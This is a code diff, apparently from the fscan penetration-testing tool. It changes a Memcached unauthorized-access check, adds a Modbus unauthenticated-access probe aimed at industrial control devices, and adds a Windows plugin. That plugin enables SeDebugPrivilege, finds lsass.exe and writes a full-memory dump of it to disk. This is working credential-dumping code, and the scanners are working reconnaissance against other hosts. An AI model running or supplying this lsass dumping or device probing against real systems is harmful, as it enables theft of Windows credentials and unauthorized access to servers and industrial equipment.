|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// MemcachedScanResult 表示Memcached扫描结果
|
||||||
|
type MemcachedScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Stats string
|
||||||
|
}
|
||||||
|
|
||||||
// MemcachedScan 检测Memcached未授权访问
|
// MemcachedScan 检测Memcached未授权访问
|
||||||
func MemcachedScan(info *Common.HostInfo) error {
|
func MemcachedScan(info *Common.HostInfo) error {
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
timeout := time.Duration(Common.Timeout) * time.Second
|
Common.LogDebug(fmt.Sprintf("开始扫描 Memcached %s", realhost))
|
||||||
|
|
||||||
// 建立TCP连接
|
// 尝试连接并检查未授权访问
|
||||||
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
|
result := tryMemcachedConnection(ctx, info, Common.Timeout)
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer client.Close()
|
|
||||||
|
|
||||||
// 设置超时时间
|
if result.Success {
|
||||||
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
|
// 保存成功结果
|
||||||
return err
|
scanResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "memcached",
|
||||||
|
"type": "unauthorized-access",
|
||||||
|
"description": "Memcached unauthorized access",
|
||||||
|
"stats": result.Stats,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(scanResult)
|
||||||
|
Common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送stats命令
|
// 检查是否因为全局超时而退出
|
||||||
if _, err := client.Write([]byte("stats\n")); err != nil {
|
select {
|
||||||
return err
|
case <-ctx.Done():
|
||||||
|
if ctx.Err() == context.DeadlineExceeded {
|
||||||
|
Common.LogDebug("Memcached扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
}
|
||||||
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取响应
|
Common.LogDebug(fmt.Sprintf("Memcached扫描完成: %s", realhost))
|
||||||
rev := make([]byte, 1024)
|
return result.Error
|
||||||
n, err := client.Read(rev)
|
}
|
||||||
if err != nil {
|
|
||||||
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
|
// tryMemcachedConnection 尝试连接Memcached并检查未授权访问
|
||||||
Common.LogError(errlog)
|
func tryMemcachedConnection(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64) *MemcachedScanResult {
|
||||||
return err
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
}
|
timeout := time.Duration(timeoutSeconds) * time.Second
|
||||||
|
|
||||||
|
// 创建结果通道
|
||||||
|
resultChan := make(chan *MemcachedScanResult, 1)
|
||||||
|
|
||||||
|
// 创建连接上下文,带超时
|
||||||
|
connCtx, connCancel := context.WithTimeout(ctx, timeout)
|
||||||
|
defer connCancel()
|
||||||
|
|
||||||
|
// 在协程中尝试连接
|
||||||
|
go func() {
|
||||||
|
// 构建结果结构
|
||||||
|
result := &MemcachedScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: nil,
|
||||||
|
Stats: "",
|
||||||
|
}
|
||||||
|
|
||||||
|
// 建立TCP连接
|
||||||
|
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
|
||||||
|
if err != nil {
|
||||||
|
result.Error = err
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- result:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer client.Close()
|
||||||
|
|
||||||
|
// 设置操作截止时间
|
||||||
|
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
|
||||||
|
result.Error = err
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- result:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送stats命令
|
||||||
|
if _, err := client.Write([]byte("stats\n")); err != nil {
|
||||||
|
result.Error = err
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- result:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取响应
|
||||||
|
rev := make([]byte, 1024)
|
||||||
|
n, err := client.Read(rev)
|
||||||
|
if err != nil {
|
||||||
|
result.Error = err
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- result:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查响应是否包含统计信息
|
||||||
|
response := string(rev[:n])
|
||||||
|
if strings.Contains(response, "STAT") {
|
||||||
|
result.Success = true
|
||||||
|
result.Stats = response
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送结果
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- result:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
// 检查响应内容
|
// 等待结果或上下文取消
|
||||||
if strings.Contains(string(rev[:n]), "STAT") {
|
select {
|
||||||
result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost)
|
case result := <-resultChan:
|
||||||
Common.LogSuccess(result)
|
return result
|
||||||
|
case <-connCtx.Done():
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
// 全局上下文取消
|
||||||
|
return &MemcachedScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: ctx.Err(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 连接超时
|
||||||
|
return &MemcachedScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("连接超时"),
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,319 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"syscall"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
TH32CS_SNAPPROCESS = 0x00000002
|
||||||
|
INVALID_HANDLE_VALUE = ^uintptr(0)
|
||||||
|
MAX_PATH = 260
|
||||||
|
|
||||||
|
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||||
|
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||||
|
|
||||||
|
ERROR_SUCCESS = 0
|
||||||
|
)
|
||||||
|
|
||||||
|
type PROCESSENTRY32 struct {
|
||||||
|
dwSize uint32
|
||||||
|
cntUsage uint32
|
||||||
|
th32ProcessID uint32
|
||||||
|
th32DefaultHeapID uintptr
|
||||||
|
th32ModuleID uint32
|
||||||
|
cntThreads uint32
|
||||||
|
th32ParentProcessID uint32
|
||||||
|
pcPriClassBase int32
|
||||||
|
dwFlags uint32
|
||||||
|
szExeFile [MAX_PATH]uint16
|
||||||
|
}
|
||||||
|
|
||||||
|
type LUID struct {
|
||||||
|
LowPart uint32
|
||||||
|
HighPart int32
|
||||||
|
}
|
||||||
|
|
||||||
|
type LUID_AND_ATTRIBUTES struct {
|
||||||
|
Luid LUID
|
||||||
|
Attributes uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
type TOKEN_PRIVILEGES struct {
|
||||||
|
PrivilegeCount uint32
|
||||||
|
Privileges [1]LUID_AND_ATTRIBUTES
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProcessManager 处理进程相关操作
|
||||||
|
type ProcessManager struct {
|
||||||
|
kernel32 *syscall.DLL
|
||||||
|
dbghelp *syscall.DLL
|
||||||
|
advapi32 *syscall.DLL
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建新的进程管理器
|
||||||
|
func NewProcessManager() (*ProcessManager, error) {
|
||||||
|
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &ProcessManager{
|
||||||
|
kernel32: kernel32,
|
||||||
|
dbghelp: dbghelp,
|
||||||
|
advapi32: advapi32,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
||||||
|
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
|
||||||
|
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
||||||
|
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
||||||
|
return 0, fmt.Errorf("创建进程快照失败: %v", err)
|
||||||
|
}
|
||||||
|
return handle, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
||||||
|
var pe32 PROCESSENTRY32
|
||||||
|
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
||||||
|
|
||||||
|
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
|
||||||
|
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
|
||||||
|
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
|
||||||
|
|
||||||
|
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||||
|
if ret == 0 {
|
||||||
|
return 0, fmt.Errorf("获取第一个进程失败")
|
||||||
|
}
|
||||||
|
|
||||||
|
for {
|
||||||
|
ret, _, _ = lstrcmpi.Call(
|
||||||
|
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
|
||||||
|
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
||||||
|
)
|
||||||
|
|
||||||
|
if ret == 0 {
|
||||||
|
return pe32.th32ProcessID, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||||
|
if ret == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0, fmt.Errorf("未找到进程: %s", name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||||
|
proc := pm.kernel32.MustFindProc("CloseHandle")
|
||||||
|
proc.Call(handle)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (pm *ProcessManager) ElevatePrivileges() error {
|
||||||
|
handle, err := pm.getCurrentProcess()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
var token syscall.Token
|
||||||
|
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("打开进程令牌失败: %v", err)
|
||||||
|
}
|
||||||
|
defer token.Close()
|
||||||
|
|
||||||
|
var tokenPrivileges TOKEN_PRIVILEGES
|
||||||
|
|
||||||
|
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||||
|
ret, _, err := lookupPrivilegeValue.Call(
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
|
||||||
|
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return fmt.Errorf("查找特权值失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tokenPrivileges.PrivilegeCount = 1
|
||||||
|
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
||||||
|
|
||||||
|
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||||
|
ret, _, err = adjustTokenPrivileges.Call(
|
||||||
|
uintptr(token),
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return fmt.Errorf("调整令牌特权失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||||
|
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
||||||
|
handle, _, _ := proc.Call()
|
||||||
|
if handle == 0 {
|
||||||
|
return 0, fmt.Errorf("获取当前进程句柄失败")
|
||||||
|
}
|
||||||
|
return syscall.Handle(handle), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
|
||||||
|
processHandle, err := pm.openProcess(pid)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer pm.closeHandle(processHandle)
|
||||||
|
|
||||||
|
fileHandle, err := pm.createDumpFile(outputPath)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer pm.closeHandle(fileHandle)
|
||||||
|
|
||||||
|
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
|
||||||
|
ret, _, err := miniDumpWriteDump.Call(
|
||||||
|
processHandle,
|
||||||
|
uintptr(pid),
|
||||||
|
fileHandle,
|
||||||
|
0x00061907, // MiniDumpWithFullMemory
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
|
||||||
|
if ret == 0 {
|
||||||
|
return fmt.Errorf("写入转储文件失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||||
|
proc := pm.kernel32.MustFindProc("OpenProcess")
|
||||||
|
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||||
|
if handle == 0 {
|
||||||
|
return 0, fmt.Errorf("打开进程失败: %v", err)
|
||||||
|
}
|
||||||
|
return handle, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||||
|
pathPtr, err := syscall.UTF16PtrFromString(path)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
|
||||||
|
createFile := pm.kernel32.MustFindProc("CreateFileW")
|
||||||
|
handle, _, err := createFile.Call(
|
||||||
|
uintptr(unsafe.Pointer(pathPtr)),
|
||||||
|
syscall.GENERIC_WRITE,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
syscall.CREATE_ALWAYS,
|
||||||
|
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
|
||||||
|
if handle == INVALID_HANDLE_VALUE {
|
||||||
|
return 0, fmt.Errorf("创建文件失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return handle, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 查找目标进程
|
||||||
|
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
|
||||||
|
snapshot, err := pm.createProcessSnapshot()
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
defer pm.closeHandle(snapshot)
|
||||||
|
|
||||||
|
return pm.findProcessInSnapshot(snapshot, name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否具有管理员权限
|
||||||
|
func IsAdmin() bool {
|
||||||
|
var sid *windows.SID
|
||||||
|
err := windows.AllocateAndInitializeSid(
|
||||||
|
&windows.SECURITY_NT_AUTHORITY,
|
||||||
|
2,
|
||||||
|
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
||||||
|
windows.DOMAIN_ALIAS_RID_ADMINS,
|
||||||
|
0, 0, 0, 0, 0, 0,
|
||||||
|
&sid)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer windows.FreeSid(sid)
|
||||||
|
|
||||||
|
token := windows.Token(0)
|
||||||
|
member, err := token.IsMember(sid)
|
||||||
|
return err == nil && member
|
||||||
|
}
|
||||||
|
|
||||||
|
func MiniDump(info *Common.HostInfo) (err error) {
|
||||||
|
// 先检查管理员权限
|
||||||
|
if !IsAdmin() {
|
||||||
|
Common.LogError("需要管理员权限才能执行此操作")
|
||||||
|
return fmt.Errorf("需要管理员权限才能执行此操作")
|
||||||
|
}
|
||||||
|
|
||||||
|
pm, err := NewProcessManager()
|
||||||
|
if err != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
|
||||||
|
return fmt.Errorf("初始化进程管理器失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 查找 lsass.exe
|
||||||
|
pid, err := pm.FindProcess("lsass.exe")
|
||||||
|
if err != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("查找进程失败: %v", err))
|
||||||
|
return fmt.Errorf("查找进程失败: %v", err)
|
||||||
|
}
|
||||||
|
Common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
|
||||||
|
|
||||||
|
// 提升权限
|
||||||
|
if err := pm.ElevatePrivileges(); err != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("提升权限失败: %v", err))
|
||||||
|
return fmt.Errorf("提升权限失败: %v", err)
|
||||||
|
}
|
||||||
|
Common.LogSuccess("成功提升进程权限")
|
||||||
|
|
||||||
|
// 创建输出路径
|
||||||
|
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
|
||||||
|
|
||||||
|
// 执行转储
|
||||||
|
if err := pm.DumpProcess(pid, outputPath); err != nil {
|
||||||
|
os.Remove(outputPath)
|
||||||
|
Common.LogError(fmt.Sprintf("进程转储失败: %v", err))
|
||||||
|
return fmt.Errorf("进程转储失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package Plugins
|
||||||
|
|
||||||
|
import "github.com/shadow1ng/fscan/Common"
|
||||||
|
|
||||||
|
func MiniDump(info *Common.HostInfo) (err error) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,273 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/binary"
|
||||||
|
"fmt"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ModbusScanResult 表示 Modbus 扫描结果
|
||||||
|
type ModbusScanResult struct {
|
||||||
|
Success bool
|
||||||
|
DeviceInfo string
|
||||||
|
Error error
|
||||||
|
}
|
||||||
|
|
||||||
|
// ModbusScan 执行 Modbus 服务扫描
|
||||||
|
func ModbusScan(info *Common.HostInfo) error {
|
||||||
|
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始 Modbus 扫描: %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 执行扫描
|
||||||
|
result := tryModbusScan(ctx, info, Common.Timeout, Common.MaxRetries)
|
||||||
|
|
||||||
|
if result.Success {
|
||||||
|
// 保存扫描结果
|
||||||
|
saveModbusResult(info, target, result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Modbus 扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
if result.Error != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("Modbus 扫描失败: %v", result.Error))
|
||||||
|
return result.Error
|
||||||
|
}
|
||||||
|
Common.LogDebug("Modbus 扫描完成,未发现服务")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryModbusScan 尝试单个 Modbus 扫描
|
||||||
|
func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64, maxRetries int) *ModbusScanResult {
|
||||||
|
var lastErr error
|
||||||
|
host, port := info.Host, info.Ports
|
||||||
|
target := fmt.Sprintf("%s:%s", host, port)
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &ModbusScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试 Modbus 扫描: %s", retry+1, target))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建单个连接超时的上下文
|
||||||
|
connCtx, connCancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
|
||||||
|
// 创建结果通道
|
||||||
|
resultChan := make(chan *ModbusScanResult, 1)
|
||||||
|
|
||||||
|
// 在协程中执行扫描
|
||||||
|
go func() {
|
||||||
|
// 尝试建立连接
|
||||||
|
conn, err := Common.WrapperTcpWithContext(connCtx, "tcp", target)
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- &ModbusScanResult{Success: false, Error: err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 构造 Modbus TCP 请求包 - 读取设备ID
|
||||||
|
request := buildModbusRequest()
|
||||||
|
|
||||||
|
// 设置读写超时
|
||||||
|
conn.SetDeadline(time.Now().Add(time.Duration(timeoutSeconds) * time.Second))
|
||||||
|
|
||||||
|
// 发送请求
|
||||||
|
_, err = conn.Write(request)
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- &ModbusScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("发送Modbus请求失败: %v", err),
|
||||||
|
}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取响应
|
||||||
|
response := make([]byte, 256)
|
||||||
|
n, err := conn.Read(response)
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- &ModbusScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("读取Modbus响应失败: %v", err),
|
||||||
|
}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证响应
|
||||||
|
if isValidModbusResponse(response[:n]) {
|
||||||
|
// 获取设备信息
|
||||||
|
deviceInfo := parseModbusResponse(response[:n])
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- &ModbusScanResult{
|
||||||
|
Success: true,
|
||||||
|
DeviceInfo: deviceInfo,
|
||||||
|
}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- &ModbusScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("非Modbus服务或访问被拒绝"),
|
||||||
|
}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待扫描结果或超时
|
||||||
|
var result *ModbusScanResult
|
||||||
|
select {
|
||||||
|
case res := <-resultChan:
|
||||||
|
result = res
|
||||||
|
case <-connCtx.Done():
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
connCancel()
|
||||||
|
return &ModbusScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: ctx.Err(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
result = &ModbusScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("连接超时"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
connCancel()
|
||||||
|
|
||||||
|
if result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = result.Error
|
||||||
|
if result.Error != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(result.Error); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &ModbusScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// buildModbusRequest 构建Modbus TCP请求包
|
||||||
|
func buildModbusRequest() []byte {
|
||||||
|
request := make([]byte, 12)
|
||||||
|
|
||||||
|
// Modbus TCP头部
|
||||||
|
binary.BigEndian.PutUint16(request[0:], 0x0001) // 事务标识符
|
||||||
|
binary.BigEndian.PutUint16(request[2:], 0x0000) // 协议标识符
|
||||||
|
binary.BigEndian.PutUint16(request[4:], 0x0006) // 长度
|
||||||
|
request[6] = 0x01 // 单元标识符
|
||||||
|
|
||||||
|
// Modbus 请求
|
||||||
|
request[7] = 0x01 // 功能码: Read Coils
|
||||||
|
binary.BigEndian.PutUint16(request[8:], 0x0000) // 起始地址
|
||||||
|
binary.BigEndian.PutUint16(request[10:], 0x0001) // 读取数量
|
||||||
|
|
||||||
|
return request
|
||||||
|
}
|
||||||
|
|
||||||
|
// isValidModbusResponse 验证Modbus响应是否有效
|
||||||
|
func isValidModbusResponse(response []byte) bool {
|
||||||
|
if len(response) < 9 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查协议标识符
|
||||||
|
protocolID := binary.BigEndian.Uint16(response[2:])
|
||||||
|
if protocolID != 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查功能码
|
||||||
|
funcCode := response[7]
|
||||||
|
if funcCode == 0x81 { // 错误响应
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseModbusResponse 解析Modbus响应获取设备信息
|
||||||
|
func parseModbusResponse(response []byte) string {
|
||||||
|
if len(response) < 9 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// 提取更多设备信息
|
||||||
|
unitID := response[6]
|
||||||
|
funcCode := response[7]
|
||||||
|
|
||||||
|
// 简单的设备信息提取,实际应用中可以提取更多信息
|
||||||
|
info := fmt.Sprintf("Unit ID: %d, Function: 0x%02X", unitID, funcCode)
|
||||||
|
|
||||||
|
// 如果是读取线圈响应,尝试解析线圈状态
|
||||||
|
if funcCode == 0x01 && len(response) >= 10 {
|
||||||
|
byteCount := response[8]
|
||||||
|
if byteCount > 0 && len(response) >= 9+int(byteCount) {
|
||||||
|
coilValue := response[9] & 0x01 // 获取第一个线圈状态
|
||||||
|
info += fmt.Sprintf(", Coil Status: %d", coilValue)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return info
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveModbusResult 保存Modbus扫描结果
|
||||||
|
func saveModbusResult(info *Common.HostInfo, target string, result *ModbusScanResult) {
|
||||||
|
// 保存扫描结果
|
||||||
|
scanResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "modbus",
|
||||||
|
"type": "unauthorized-access",
|
||||||
|
"device_info": result.DeviceInfo,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(scanResult)
|
||||||
|
|
||||||
|
// 控制台输出
|
||||||
|
Common.LogSuccess(fmt.Sprintf("Modbus服务 %s 无认证访问", target))
|
||||||
|
